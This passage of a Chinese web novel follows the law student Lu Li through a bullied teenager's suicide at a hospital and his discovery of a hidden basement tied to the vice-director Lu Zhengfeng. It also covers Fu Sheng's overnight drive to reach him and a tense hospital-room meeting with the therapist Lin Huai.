回去的时候,周颂看着陆离一直垂着眸子,像是在想什么。 周颂作为师兄,人文关怀道:“还好吧师弟,被董陶宁吓到了?” 陆离冷淡看了他一眼。 虽然没说话,但是周颂还是很快品出了陆离那一眼的意思,大概就是你在讲什么鬼话。 周颂轻咳了一声,虽然他这位师弟话少,但某些时候可以说是和他那位哥哥一脉相承。 好在,他这位师弟只是抿唇半晌,开口问道:“你和这位心理治疗师很熟?” “一般吧,”周颂说,“打过几次交道,怎么了?” 陆离唇线绷直,素白的脸上带着些许的冷淡,半晌他摇了摇头,又不想问了。 因为北川这边的店关起来处理的手续还比较多,还得防备他那个一直打他店主意的二叔,傅生一直到了晚上才有空。 他看了一眼手机,陆离今天竟然过分地安静。 傅生发了条消息过去。 傅生:[还没忙完?] 这小崽子回消息倒是快。 陆离:[完了。] 傅生:[今天干什么去了这么安静。] 然后傅生就看到对话框那边一直显示正在输入。 大概一分钟,消息才发过来。 陆离:[没干什么。] 陆离:[见了一位对你一见如故的老熟人。] 傅生:? 再然后,他就看到从来没有发过朋友圈的陆离破天荒地发了一条动态。 什么文字都没有。 就一张纯黑的照片。 哦,外加一个句号。 傅生对标陆离傲娇、高冷、又拉不下面子的别扭的性格,品了一下这张图片。 大概意思就是。 我不高兴,快来哄我。 【作者有话说】 单纯朋友。 但小鬼吃醋。 为什么不吃蒋文的醋,大概蒋文看上去太二百五。【狗头】 第0049章 第 49 章 ◎哥,我有点想你了◎ 傅生笑了半晌, 然后拨了一个电话过去,陆离冷淡的声音在电话里传了过来。 “说说吧,”傅生说, “遇到了哪个对我一见如故的老熟人。” 陆离捏着手指, 冷哼一声:“你还认识多少老熟人?” 傅生想了想, 笑着说:“那可多了, 多得数不过来。” 又鬼扯。 陆离瘫着脸不说话。 傅生笑着说:“对我以前的朋友这么感兴趣?还是说——” 他刻意顿了一下, “想打听我的其他感情史?” 陆离就知道傅生嘴里听不到几句实话,还给某人厚脸皮的机会,他捏着电话静默了几秒,冷着嗓音说:“挂了。” 傅生这才说:“真不准备告诉我你今天见了谁?” 陆离冷凌凌道:“等你再见到的时候你就知道了。” 说完,他就挂了电话。 傅生听着对面的忙音笑了一声, 轻骂了句小兔崽子,越来越没大没小了。 他也没有在意, 放下电话披着衣服下楼, 却见傅老爷子在楼下坐着,蒋文正准备给他倒水。 “老爷子,你先喝水, 傅生等会儿就下来。” 傅老爷子喝了一口, 抬头的时候刚好看到傅生下楼。 “阿生。” 傅生将披着的衣服穿好, 站在沙发旁边扣着袖口扣子,看着老爷子问:“这么晚了您怎么来了?” “我来看看你这边店的事情处理得怎么样, ”傅老爷子说。 傅生在一旁的沙发坐下:“处理得差不多了, 还剩下一点收尾。” “那就好,”傅老爷子将手中的水杯放下, 他张了张嘴, 看起来很想说些什么, 却最终什么都没说。 沉默中,他在怀里掏出一张银行卡,放在了桌子上。 傅生看着卡愣了一下,“你这是——” 傅老爷子说:“南宁那边不比北川,人生地不熟的,多拿点钱总是没坏处,若是待不下去了,就回来,爷爷永远给你留着门。” 傅生向来见人说人话,见鬼说鬼话,这一刻他却倏然不知道说什么了。 似乎又回到了幼时不善言语的时候。 “行了,我也没有其他的事,天晚了,我先回去了。” 傅老爷子转头,拄着拐杖向外走,身子比前两年前的时候佝偻了不少。 蒋文看了傅生一眼,还在纳闷傅生怎么不说话,他追过去说,“您这就走了?” “嗯。” 傅生无论是上辈子还是这辈子,都不知道如何和亲人相处,一直到傅老爷子走到门口,那句爷爷却怎么也喊不出口。 他动了动唇说:“我会经常回来看您。” 傅老爷子背影看不出情绪,只是抬着胳膊摇了摇:“快休息吧。” 陆离刚到事务所,就看到周颂着急忙慌的向外走。 陆离皱眉,他很少见周颂这番不稳重的情况:“怎么了师兄?” “去医院,”周颂看了他一眼,表情很是严肃地说,“董陶宁自杀了。” 陆离愣了一下,愣神期间,周颂已经拿去了车钥匙出来,对他说:“走。” 到医院的时候,抢救室门口围了几个人,董陶宁的妈妈正抱着医生哭,“医生,怎么样,我女儿怎么样。” 医生将口罩摘下来,看了一眼这位满眼红血丝的母亲,“幸好发现的及时,伤口割得不深,你们怎么会让孩子摸到刀子?” 董陶宁的妈妈这时才长长地松了一口气,整个人瘫坐在地上:“她说她想吃苹果,我也没有多想,削完皮之后就随手放在桌子上了。” 医生呵斥说:“下次注意点。孩子的情绪不稳定,当父母也长点心。” 身后的护士这时也打开门,将董陶宁在身后推了出来。 陆离目光看向车床上的人。 董陶宁应该是醒了,只是眼睛一动不动的,无神地看着天花板。 回到病床之后,董陶宁的妈妈在病床边握着她的手,开始号啕大哭,一边说,一边呵斥道: “为什么这么想不开,为什么非要死。你是不是疯了。” 董陶宁眼睛动了一下,声音干涩,问她:“我为什么不能死?” “为什么?”她妈妈眼睛红肿,声音尖锐,“就凭你这条命是我的,就凭我怀胎十月把你生下来,就凭我拼死拼活地养了你十四年。你说死就死?” 陆离和周颂在旁边站着,陆离颦了一下眉,看着董陶宁妈妈歇斯底里的模样,倏然想起了之前的苏梅。 但可笑的是,苏梅绝不会拦着他去死。 她只会让自己赶紧死。 他声音冷冽地,看向她妈妈说:“你要是不想她活,你就继续吵。” 董陶宁的妈妈愣了一下,片刻才反应过来自己做了什么,她离婚离得早,这十四年都是和女儿相依为命,她早就把女儿看成自己唯一的寄托。 “对不起宁宁,妈妈对不起你,我错了,妈妈错了。” 周颂似乎没有想到一直寡言的师弟会开口,他看了一眼,接着走到董陶宁妈妈身边:“我看你也累了,要不出去坐一坐,陶宁我陪着她。” 董陶宁的妈妈刚开始是不动的,直到董陶宁的目光动了一下:“我想要这个哥哥陪着。” 可能是陆离看上去冷淡,也可能是他刚才说的话,董陶宁看向陆离。 周颂顿了一下说,“行,那就让陆离哥哥陪你待会。” 说完,他拉着这位母亲出了病房的门。 病房里很快就安静下来。 两个人都没说话,直到有阳光透过窗台的植物上,董陶宁看了须臾,才很慢地开口:“你看那盆植物快要干死了。” 陆离随着她的目光看过去,窗台上的植物看不出品种,叶子黄了却是黄了,只有底部的一点泛着数点青。 他动了一下唇说:“会有人给它浇水。” “浇水?”董陶宁很轻地皱了一下眉,“可是它根里已经烂掉了,浇水也吸收不了了,之前没有好好照顾它,现在它不需要水分了,浇水只会让它溺死。” 她说话的声音很轻,像是在说植物,又像是在说自己。 陆离皱了一下眉,看着病床上董陶宁,阳光照在她素白的脸上,是很漂亮的小姑娘。 他的目光又落在她割腕被厚厚包裹起来的胳膊上,“不疼吗?这么深的口子。” 董陶宁愣了一下,目光终于有了清绪,所有的人都在说她,不要胡思乱想,不要胡言乱语,不能死,想想自己的妈妈。 只有陆离问她割手腕的疼不疼。 她眼睛动了一下说:“还行。” 陆离问:“为什么要划自己?” 董陶宁安静了一会,抬起胳膊看着上面若隐若现的血管说:“因为……我的血脏了。” 陆离皱了一下眉,看着病床上的人,倏然感觉了一点不对劲。 “为什么觉得血脏。” 董陶宁看着天花板。 她觉得世界像个怪兽,无时无刻不在吞噬着她,她逃脱不掉,也没法言语。 愣了半晌,她说:“我有些困了,我能休息一会吗。” 陆离看了她一眼,见董陶宁已经闭上了眼睛。 从病房里出来,董陶宁的妈妈立刻起身问他女儿怎么样。 陆离唇角抿直,开口问,“她除了这次的校园暴力,还遭受过别的吗?” “你什么意思?什么叫还遭受过其他的吗?”她妈妈瞪着眼睛看着他说,“我女儿遭受校园暴力还不够吗?” 周颂抓紧站在中间:“您别激动,就是正常的询问,既然陶宁没有什么事了,那我们就先走了。下次再联系。” 陆离和周颂下楼,周颂看了陆离一眼,问道:“董陶宁给你说什么了?” 陆离摇了一下头,他只是感觉董陶宁的用词有些奇怪,听起来不像是校园暴力受的创伤。 血脏了。 为什么是血脏了。 “好了,别想了,”周颂看了一眼手机,已经下午六点了,他说,“晚上要不要出去吃饭?” 他除了加班的时候,向来工作和休息时间分得很轻,完全秉承着该休息的时候,绝对不想一点工作的事。 陆离点了点头。 两个人坐上电梯,电梯里没人,出电梯的时候,一个穿白大褂的医生刚好进来。 陆离只是抬眼随意地瞥了一眼。 就是这一眼,让他脚步停顿下来,眼皮重重地跳了一下。 工作牌是普通工作牌,上面板板正正的印着男医生的证件照。 只是旁边的文字上写着——华盛医院副院长,卢正风。 “陆离?陆离?”周颂看着陆离盯着上去的电梯一动不动,开口说,“看什么呢这么出神,下班去哪里吃饭,师兄请客。” “我突然想起来还有事,”陆离回过神来,皱着眉,声音格外冷漠地说,“我先走了师兄。” 他腿本来就长,说话的几秒,已经走出去好几米了,周颂说:“啊,那好吧,要不要师兄开车送你回去?” 结果话都没说完,前边的人影就消失不见了。 周颂摸了一下鼻间,“怎么突然这么着急,刚才还不是没事吗。” 傅生客客气气地将某位想要收购古董店的人请出去,就接到了陆离的电话。 他挑了一下眉,懒洋洋地开口:“今天不用哄了?小祖宗,这么早给我打电话。” 陆离开口,声音还是冷调的嗓音,尾音中却像是带着急切:“你之前是如何和卢正风扯上关系的?” 傅生微愣,语调稍微正经了些:“怎么突然提他?” 默了片刻他意识到什么:“你看见他了?” 陆离也意识到自己刚才的语气急了,他抿了一下唇才开口说:“去医院的时候看到了。” 傅生表情沉了下去,转了一下手指上的戒指压下去情绪才道:“也没什么,就是骗了点钱,也没什么大的牵扯,况且我现在和他没有交集。” 我知道,陆离心说。 他想问为什么会找上卢正风,卢正风做什么了,不过又咽了下去:“嗯。” 傅生怕陆离做什么,又补充了一句:“离他远点,听到了吗?” 陆离嗯了一声,又说:“周颂喊我去吃饭,先挂了。” “挂吧,”傅生收了刚才的情绪,开玩笑地说,“你这个师兄对你倒是好。” 陆离:“……” 他快速挂了电话,静了须臾,点开了电脑,在百度上搜了一下卢正风的名字。 出来的结果无疑都是夸的。 华盛医疗外科主任医师卢正风,有些十几年临床经验,获得众多先进个人奖项,在医学上有些突出的成果,曾在媒体发言:毕生追求就是做一名好大夫,悬壶济世,丹心汉卿。 陆离向下翻了好几页,竟然没有一条说他差的。 房间的灯没开,电脑的冷光打开他脸上,显得更加冷淡。 他看着卢正风的名字,颦紧了眉。 后来,他又去医院去了两次,不过没再遇到过卢正风。 董陶宁的状态倒是一天一天地好了起来,有时候他和周颂去了之后,还会主动给他们聊天。 她手上的纱布这两天已经揭开了,疤痕乍一看上去有点唬人,周围人还怕她看见伤口再受刺激,董陶宁却不太在意。 她像是很喜欢和陆离聊天,无论是话题还是语气,都很轻松。 “哥哥你还在上学吗?上大学吗?” “嗯,”陆离虽然冷,却每句话都会回答,“大三。” 董陶宁问:“你是学的什么专业啊。” 陆离说:“法律。” “那你一定成绩很好,”董陶宁说,“我听班主任讲过,需要很高的分数才能考上法学院。” 陆离说:“你想学什么专业?” 董陶宁没想出来,又问道:“你为什么喜欢学法?” 陆离目光垂了一下,看着自己的指尖说:“因为一个很重要的人,我想保护他。” “是你喜欢的人吗?” “嗯。” 董陶宁没想到陆离这么直接,愣了一下,接着又笑了起来,是少女独有的清凌笑声。 半晌,她才停了下来,偷偷摸摸地让他把掌心摊开。 陆离低头一看,董陶宁在他手中放了一颗大白兔奶糖。 “我知道你也喜欢吃,”董陶宁小声地说,“我上次看到你在走廊偷偷吃糖了,放心,我不会告诉其他人的,我们一起吃,这糖可甜了。” 陆离被小姑娘戳穿心思,唇角平直抿了一下,但是看到董陶宁脸上的笑,他的神情又放松下来。 下午的阳光照在两个人身上。 周颂进来刚好看到这一幕,他笑了一下,看向董陶宁说:“你妈妈呢?” 董陶宁咀嚼停了一下,又恢复自然:“工作去了,妈妈工作很忙。” 她其实能理解她的妈妈,两个人要生活,就得工作。 工作了,就没空陪她。 陆离对于这件事没说话。 他不知道正确的家庭关系应该是什么样的,因为他也没有经历过。 这个案子起诉需要的审核材料,还差一点,第二天两个人又去了医院,打算再补充一点关于校园霸凌的细节。 只是进了病房却没有看到人。 陆离颦眉,以前来的时候,董陶宁都是坐在病床上等着他们。 今天的天气不太好,天空灰沉沉的像是要压下来了。 房间里没有阳光,病床上的被子却被板板正正地叠好放在床尾,周颂叫住一名护士:“你好,请问这个床上的病人你看到了吗?” 小护士瞥了一眼:“37床?刚才还在这呢?是不是出去了?” 陆离不知道为什么,下意识皱了一下眉,冷声说:“去找找。” 两个人跑了整个医院都没有看到人,一个实习的小护士说:“那个小妹妹之前在护士站用公用电话给她妈妈打了电话过去。” 陆离心中不对劲的感觉越来越浓:“说的什么?” “好像是让妈妈好好工作,”小护士回忆了一下说,“还有注意身体之类的,听着挺正常的。可能是想妈妈了。” 陆离看向周颂,声音冷冽:“有她妈妈的电话吗?” “有,”周颂快速地掏出手机,“喂,你好,我是周律师。陶宁在你哪吗?没有?陶宁不知道去哪里了,请你快点来一趟。” 陆离捏了一下手指,他抿了一下唇。 医院都跑遍了,不可能没人。 须臾,倏然想起什么,看着周颂说:“去天台。” 周颂的脸也白了一瞬间。 “我们医院去往天台的门是锁着呢,她一个小姑娘应该进不去吧。”护士长一边解释,还是拿着钥匙快速地跟着人上了楼。 几个人上去的时候,门上的锁已经脱落下来,陆离猛然推开门,风一下子灌了进来,董陶宁站在天台上。 陆离冷着声音喊了一声:“陶宁。” 董陶宁听见动静向后看了一眼。看见陆离,她笑了一下:“陆离哥哥,你来了。” 一众人要跑过去的时候,董陶宁倏然变了脸色,看着几个人威胁地说:“你们别过来,不然我立刻跳下去。” 周颂安抚人说:“好,好,我们不过去,陶宁,你相信我们好不好,这次我们一定能胜诉,等等我们好吗?” “胜诉?”董陶宁愣了一下,眼睛一下子红了:“不是这个,你们赢不了的。” 周颂不知道为什么董陶宁笃定赢不了。他也不敢乱说话,只能轻声安慰。 陆离不擅长说话,抿了一下唇,向前走了几步:“跳下去,可就再也吃不到糖了。” 董陶宁眼睛像是一摊苦井说,“吃不到就吃不到吧,糖一点也不甜,是苦的。” “我可能等不到妈妈来了,”她向前迈了一步,对着陆离说,“帮我转告她,我很爱她。但是太累了,我也太笨了。下辈子,再做她的女儿吧。” 说着,她突然转身,陆离瞳孔一缩,他向前一步,抓住了董陶宁的袖子。 可小姑娘眼睛里只有痛苦,没有一点活下去意思,她笑了一下,然后推开了陆离的手。 楼层十三楼,这么高,没有一点犹豫。 只能看到一身白色的衣服,离着他越来越小。 又染成一片刺目的鲜红。 剩下的,陆离想不起来了,不知道是谁尖叫了几声。 她妈妈来到的时候,刚好看到这一幕,直接哭晕了过去。 周围乱成一团,挤了一堆人。 周颂也不知道会变成这样,董陶宁的妈妈昏迷,他只能看着医院处理这些琐事。 两个人离开医院的时候已经是六点多,周颂在陆离背上拍了几下,“回去休息几天吧。” 他想这个场面对于一个还在上学的人来说确实很受刺激。 陆离却看上去很平静,他说:“我没事。” 周颂说:“真没事?” 陆离:“嗯。” 周颂还需要代替董陶宁的妈妈去学校里一趟,陆离没跟着,他看着周颂开车走后,在医院里的花坛边站了一会,这才缓缓地展开手掌。 他手掌中抓着张纸条,是董陶宁跳下去之前,塞在他手里。 纸条上写着:卢正风,地下三层。 八点钟的时候,天空开始下雪,雪花落在他睫毛上,陆离抬眸看了一眼。 他突然就知道傅生之前怎么会和卢正风产生牵连的了。 因为他也正在走那条路。 不仅是为了董陶宁,还因为他和傅生本来就是同一个人,会做出同样的选择。 …… 蒋文将东西都收拾好,站在院子里,看着这个生活了几年的古董店,感叹道。 “哎,还真有点舍不得。” 天空开始下起了小雪,傅生坐在院子里伸手挡了一下,却没动,懒洋洋地看着蒋文收拾。 “既然这么舍不得你可以留在这里。”他说。 “可以吗?”蒋文眼睛一亮,天天上班不用看见老板,工作的地方还是他一个人,这简直是神仙工作。 傅生斜睨他一眼,没有说话。 蒋文无师自通,心领神会,黑心老板在说他,在想屁吃。 “你也是,不早点给我说你是把店搬到南宁去啊,不是关门闭店,我还以为自己失业了,”蒋文说,“吓得我好几晚没睡好觉。” 傅生说:“早给你说了,你那张嘴能管得住吗?” 蒋文想了想也是,又问:“咱们后天过去?” 傅生嗯了一声,雪这么一小会功夫已经越下越大,他黑色的外套上已经落了薄薄的一层,刚站起身来,兜里的电话响了。 看到小鬼的备注,他唇角弯了一下,按了接通键。 陆离拿着手机站在医院楼下,傅生的声音传过来,他眼睛动了一下,却没出声。 “怎么不说话?”傅生笑着问他。 陆离动了动唇,看着天上的落雪。 他其实想说,哥,我有点想你了。 脱口而出的却成了:“外面下雪了。” 傅生说:“北川也下了,你还在外面?” 陆离嗯了一声。 傅生说:“冷不冷。” 陆离听着傅生的声音,心口有些发酸,他现在有傅生陪着,但是傅生之前就只有他自己。 他涩声说:“冷。” “傻瓜,”傅生宠溺地笑了一声,“冷的话就回家。” 蒋文受不了两个人说话的语气,搓了搓身上的鸡皮疙瘩进了屋。 陆离目光落在医院通往地下的路口,那里已经落了厚厚的一层雪。 “马上就回,”他眼睛有点发酸,喊了一句,“傅生。” 傅生:“嗯?又没大没小。” 陆离只是想他多说几句,却没想好自己要说什么,他静默了几秒说:“晚安。” 傅生笑着说,“嗯,知道了,赶快回家,还有……” 他顿了一下,又缓着声音说:“我也在想你。” 就算没有讲出口,陆离的话他还是听到了。 温沉的声音,让陆离捏紧了手机,他睫毛颤动,落雪滑进了眼里。 他突然有些不想管卢正风的事了。 但—— 陆离闭了一下眼睛,轻声说:“哥,晚上做个好梦。” 第0050章 第 50 章 ◎他终于能抱到那道身影了◎ 蒋文刚走进房间坐在沙发上, 就看见傅生阴沉着一张脸走了进来。 刚才还和颜悦色的,就这几秒,包变脸的? “你怎么了这是?”他小心翼翼地看着傅生的脸问, “陆离又惹到你了?” 傅生却抿着唇站了一会, 看向蒋文说:“订机票。去南宁。” 蒋文惊了:“现在的?今天就走。” 傅生嗯了一声。 虽然陆离的声音听起来和平时没有区别, 但是他还是听出来了不对劲, 一定有事瞒着自己。 现在能瞒着他, 也就只有卢正风的事。 蒋文看着傅生的脸色这么难看,也没有敢说其他的话,他快速地掏出手机,在购票软件上快速地翻了几下。 十分钟后,他一脸心虚地看向傅生:“今天地票没了。” 傅生的眉心颦的更深了。 蒋文试探地说:“要不定明天早晨的行吗?最早的一班, 7点钟起飞,8点多就能到了。” 八点, 还是太晚了。 傅生转身拿上了车钥匙, 蒋文吓得从沙发上跳起来,“不是,你疯了, 下着雪呢, 你开车去?” “嗯, 半小时,收拾东西。”傅生说。 “你现在开车去最起码也得七个小时才能到, ”蒋文决定给这位现在没有理智的老板上个课, “我们就算十一点走,走到也六点了, 明天早晨坐飞机八点就能到, 什么急事你两个小时都等不了?” 他不是两个小时等不了, 他是一会也等不了。 傅生垂着眸子,看着手中的车钥匙说:“半个小时,或者你留在北川也行。” 疯了。 蒋文心说。 他也不敢让傅生大半夜的一个人开车,只能骂骂咧咧地去收拾东西。 十几分钟时间,他就从楼上滚下来,看着在沙发上看着自己手指发呆的傅生说:“走吧,祖宗。” 医院的地下三层是存放医疗器具的地方,陆离转了好几圈,并没有发现什么异常。 但是,董陶宁不可能无缘无故地写这个地址。 周围的器具杂乱,又因为和停尸间挨着,房间尤为阴冷,陆离抿唇站了一会。 医院怎么说也是人多混杂的地方,卢正风不可能光明正大地干什么。 那地下三层真的会是这里? 不是这里的话,指的又是哪里? 陆离又回忆了一下。 卢正风办公室的位置。 身为副院长,他的办公室的独立出来的,像他们这种高层领导,通常分办公室都是越高了越好,像是他这样把院长办公室设在一楼的,在医院还是独一份。 周围人夸他佛眼佛心,陆离却是不信。 董陶宁说的地下三层,或许根本不是从这里进的。 陆离站了片刻,出了地下三层,去了卢正风的办公室。 值班的小护士正趴在桌子上打着瞌睡,周围有轻微的呼吸声,陆离站在走廊,才发现,这边是监控的死角。 一个院长办公室设在监控的死角,这本身就不合常理。 不过也正好给他省事了。 他抽了根铁丝在门上的铁锁上转了一下。 锁应声而开,陆离看了一眼不远处的值班台,见小护士还在睡,便快速地进了办公室的门。 一进门,他就看到办公室的正中央挂着丹心汉卿这四个字。 陆离嘲讽地看了一眼,目光落在他的电脑上,他打开随意地扫了几眼,里面的东西正常,除了医院的诊断记录,就没有其他乱七八糟的东西了。 陆离也没指望着在他电脑里能找到东西,他起身转了一圈后,目光落在办公室东南角的柜子上。 柜子门没有锁,里面挂着医生的白大褂。 陆离在周围摸索的一圈,却没有找到有违和的地方,他皱眉,有一瞬间怀疑自己分析错了,地下三层的入口不在他办公室里? 不,按照卢正风这种人谨慎地程度,他一定不会放心把入口按在其他的地方。 陆离抿了一下唇,眼睛就落在那副丹心汉卿的题字上。 他走过去,把卷轴拿下来,左右地看了一眼,却不知道碰到了哪里,身后的门倏然响了几声。 刚才还没有一点异常的橱柜后壁凭空出现了一道门。 那道门像黑色的窟窿一般延伸到地下。 陆离瞳孔微动,将挂画挂好,看了一眼洞口,扶了下墙壁下了楼。 越向下走,地下越潮湿。 直到陆离走到最里面,他怔愣了一下。 他原本以为里面会是一些□□的东西,没有,什么都没有,有的只是一个一个的手术台,手术台上有着干枯了的陈年血迹,久而久之印出了人形,在昏黄的灯光下格外可怖。 陆离转了一圈,发现周围还摆着存放器官的液体和器具。 不知怎么,他倏然就想到了之前来医院找董陶宁时,偶然听到护士站的护士聊天内容。 “之前咱们医院经常接受流浪汉,后来那些流浪汉都去哪里了?” “不知道啊,后来就没见过,是不是帮他们找到工作或者是家人了?咱们卢副院长不是经常搞这些救助活动吗。” “是啊,像卢院长这样的好人,真的是不多见了,三个月前,咱们医院里跑来一个疯疯癫癫地孕妇,也是卢院长亲自给她接生的,母子平安。” “后来那个孕妇人呢,她怎么跑到咱医院来的。” “好像是有人在停尸间发现的,想想还挺吓人的,你说是不是有什么——” “哎呀你别说了,咱们医院闹鬼的传言就没停过,之前还一直有人说,在停尸间听到女人的惨叫呢。” 陆离捏着手指回过神来,他倏然意识到这个医院地下三层的罪恶,比他想象的还要大。 他掏出手机,拨了一个号码出去:“嗯,我要报警。” 他怀疑这里进行非法人体器官买卖还有非法诱骗女性的产业链。 就在这时,一道声音在他身后响起。在此刻显得格外的阴森。 “你是谁,怎么找到这里来的?” * 蒋文觉得傅生疯了,一路上开车给玩□□飞车一样,唯一不同的是,他们没有复活卡。 蒋文贪生怕死,全程死死地抓住汽车扶手,有时候还要尖叫几声。 可惜他旁边的人,根本不顾他的死活,偶尔还十分没有人性的威胁几声,说他再叫,就把他丢出去。 这么大的雪,跑了七百多公里,整整七个小时才到了陆离的公寓。 蒋文跟着傅生快速地下了车,感觉人都是麻的,结果陆离公寓里面根本没人。 傅生站在门口却早就像是早就意料到了这个结果,只看了一眼转身就向外走。 蒋文在身后累得气喘吁吁地跟上,“不是大哥,你这么着急倒地是来干什么的,给个准话行不行。” 傅生没有说话,开车去了周颂的事务所门口。 现在将近七点。 按照周颂平时去事务所的时间点,现在按理说应该已经到了,但现在确实房门紧闭,好在事务所的门上有着他的联系电话。 “我是傅生,”傅生拨了过去,没有丝毫寒暄,直接问道,“陆离在哪?” “医院?”傅生捏着手机的骨结泛白,“哪个医院?” …… 陆离感觉自己走在一条带着浓重雾气的路上。 他怎么走都看不见尽头。 有一道像是虚无的声音一直在问他:“告诉我,你看见了什么?” 雾,他说,我看见的都是雾。 那个声音还在继续:“还有呢,穿过那道雾气,你又看到了什么?” 陆离尝试着向前走,雾气越来越淡,等到快要消散的时候,他看见了一个十二三岁的少年,瘦瘦高高的,一个人走在浓雾里。 那是他自己? 不,不是他。 是傅生。 或者说,是以前的自己。 陆离想也没有想就追了上去,但是无论他如何跑,如何追,都始终跟前边的人保持着同样的距离。 然后他就看到傅生走进了雪地,天地白茫茫的一片,空阔像是望不到头。 十二三岁的傅生走在一条长长的道路上。 周围,像是走马观花一般,开始出现了很多人。 先是苏梅指着他,满目恨意地骂他是累赘,后是赵国强,拿起地上的板凳,没有一点犹豫,砸在他身上。 他身上脸上开始出现大大小小的伤口。 又带着伤口一天一天长大,成了十五六岁的少年。 少年很高却瘦的单薄,身上还是带着伤,吴海昊站在一旁眯着眼睛和蔼地看着他,随后露出锋利的爪牙,成了吃人怪兽的模样,又被咸湿的海风吹的粉碎。 陆离走在身后,不远不近地看着,心里一阵发酸,想去抱他,却怎么也跟不上。 傅生还在向前走,他又大了几岁,成了青年人的模样。 五官逐渐清晰立体,眉眼也更加锋利,蒋文在他身边偶尔插科打诨,林淮在旁边站着笑。 那段路,虽然是风雪满山,却多了一点人气,热热闹闹地将他围在一起。 傅生眼中的冰刚化开一点。 但很快,路上起了大风。 风变成了一只握着枪的手,那只手上戴着蛇形戒指,对着傅生按下扳机。 向来贪生怕死的蒋文帮他挡了这一枪,成了一抹沙,接着林淮看着他,也散在风里。 欢声笑语像是黄粱美梦,瞬间了无痕迹,满是风雪的路上又只剩下他自己。 他一个人走了很久,很久,像是不知道去哪里,也不知道回到哪里。 天地这么大,白茫茫的一片,却没有他的落脚点。 最后,他像是终于走累了,在一个靠海的岸边停了下来,陆离在身后看着。 再然后,他看见傅生起身,跳进了海里,几乎是一瞬间,海水翻腾就将他整个人淹没下去。 “哥——” 混沌中,陆离只听到了自己的声音。 再醒来的时候,小护士正在给他换吊瓶水,周颂半靠在桌子旁,垂着眸刷着手机。 他皱了一下眉,有些缓不过神来:“我这是在哪里?” “醒了师弟?”周颂看他一眼,接着又不知道给谁发了消息过去,“喂老师,陆离醒了,你别担心了。什么?说说他,我可不敢,况且,不用我说他,一会自然有人会说他。” 说完这些,他才开始看向陆离,依旧是我文质彬彬的好脾气样子,仿佛当着面告状的不是他。 “师弟,这是医院。” 陆离皱眉:“华盛医院?” “不是,”周颂稀奇地看了他一眼,“你刚在人家医院里闹完天宫,人家哪里敢接收你?再说了,就是人家敢,我也不敢把你放那。” 万一医生使点坏,他怎么给导师交代。 陆离手指在眉心按了几下,冷着嗓音:“卢正风呢。” “当场就被警察抓走了,”周颂说:“虽然说师弟你这件事办得莽撞了一点,不过我也是挺佩服你的,不过下次可不许这么莽撞了,好在你只是胳膊被划伤了一刀,不然我还真的不知道怎么给恩师交代。” 陆离昨天打完电话之后。 回头就看见卢正风不知道怎么退而复返,站在阴影里瞪着他,接着就朝他冲了过来。 躲闪的时候,他不小心被卢正风拿着手术刀在胳膊上拉了一刀。 陆离抬起自己的胳膊看了一眼。 已经被包扎好了。 他却没有移开眼睛,反而颦得更紧了,周颂觉察到了他的疑惑,解释说:“给你包扎的医生说,卢正风拿着的手术刀上有迷幻安眠的药剂。 医生说剂量还挺大,你也是厉害,竟然硬生生地撑到警察去。” 陆离冷淡地嗯了一声,这才放下胳膊。 周颂一看这位师弟的表情就知道他没有意识到事情的严重性,万一警察晚到一会,或者卢正风手里拿的是枪,他的小命就交到那里了。 但是,他这个师弟的脾气,他哪里管得了,于是悠悠地开口说:“对了,师弟,你哥一会儿就到了。” 陆离一怔,眸子里终于有了情绪,接着黝黑的眼睛冷冽冽地看向周颂,“你给他打电话了?” “我哪里有他的电话,”周颂说,“是你哥给——我打的。” 只是话还没有说完,就听到一道泛着冷意的声音在门口传过来,“我要不知道这事,你打算瞒我到什么时候。” 陆离抬眸看去,果然是阴沉着脸的傅生。 他平时有时候也会冷脸,却没有一次像今天这样。 周颂在旁边坐着,都感觉到病房里的气压有点低。 “你们先聊,”周颂快速地说,“我记得好像还有个材料没有填完。” 说着,周大律师头一次溜出了门,还顺手把门关上了。 病房里安静下来。 陆离抿着唇,半晌才开口:“你——怎么来了?” “不希望我来是吧,”傅生站在病床前,目光在他伤口上看了一眼,又落在他脸上,“昨天说的马上回家,结果回地下三层去了?” 陆离在傅生的眼神中没说话。 傅生看着他:“怎么不说了?我听警察说,你在华盛里的表现很优秀,不给我说说?” “没什么好说的,”陆离抿唇半晌,又开口说,“你做过的事我也能做。” 傅生看着他没有一点悔改的样子,差点气笑了:“行,看来确实是长大了,我现在都管不住你了。” 陆离看了他一眼,又移开,半晌说:“管得住。” “管得住?”傅生冷声,“我昨天说离卢正风远点,你怎么答应我的?” 陆离捏着手指。 傅生:“说话。” 陆离动了动唇,“我等他离开才去的。” “你还有理了是吧。” 陆离不说话。 傅生看着他,陆离脾气他也知道,也确实是他惯出来的。 两个人无声的对峙。 房间里静默了下来,这时门口一道声音插了进来:“是不是打扰你们了?” 傅生听到声音愣了一下,回头看去。 林淮从病房外走了进来,目光在傅生身上停了一下,又看向病床上的陆离:“我听周律师说你醒了,就过来看看,感觉还好吧,有没有哪里不舒服。” 陆离看了他一眼,不知道自己什么时候跟这位心理师这么熟了。 但是出于礼貌,他还是开口说:“没有,谢谢。” 林淮说:“谢什么,都是朋友。” 傅生只是愣了几秒便回过神来,他这才意识到陆离上次说的老熟人是谁。 林淮,带着他催眠入行的人。 林淮看向傅生:“您是?陆离的哥哥吧。” 虽然陆离对于去地下三层这件事虽然不后悔,但看傅生的时候却有点心虚。 他没看傅生,眼睛不经意地落在林淮的手指上。 他这才注意到林淮有个小动作,似乎是在转手指上的戒指,但他手上现在却什么都没有。 可能是之前留下的习惯。 陆离也只是瞥了一眼,就移开了目光。 傅生这会正没好气地说:“不是,哪里敢当他哥,这是我祖宗。” 林淮听完,笑了几声:“你兄弟两个相处真有意思。” 没你有意思。 陆离心说,看不见别人有事。 于是他坐在床上,咳嗽了几声,意图将人轰出去。 林淮却站在一旁,没眼色地说:“您也姓陆?我叫您陆先生?” 傅生开口:“傅生。” 林淮:“我是林淮。” 陆离不知道为什么很不喜欢林淮和傅生接触,他又咳了几声,却见一双修长的手端了杯水给他。 陆离愣了一下,伸手接过,低头喝了一口水。 林淮看着这一幕,目光落在傅生身上。 他闻到了熟悉的同行的味道。 能力并不在他之下。 他推了一下链条眼镜,“不知道傅先生做什么行业的。” “开个古董店,小本生意。”傅生并没有太多聊天的欲望,随口答了一句。 “古董店可不是一般人能开的,”林淮又说,“不瞒你说,我刚开始还以为和傅先生是同行呢,因为和您看上去一见如故。” 陆离喝着水,又剧烈地咳嗽了几声。 傅生没回答林淮的话,他看着陆离剧烈咳嗽的模样:“不舒服?” “有点疼。”陆离说。 傅生:“哪里疼?” 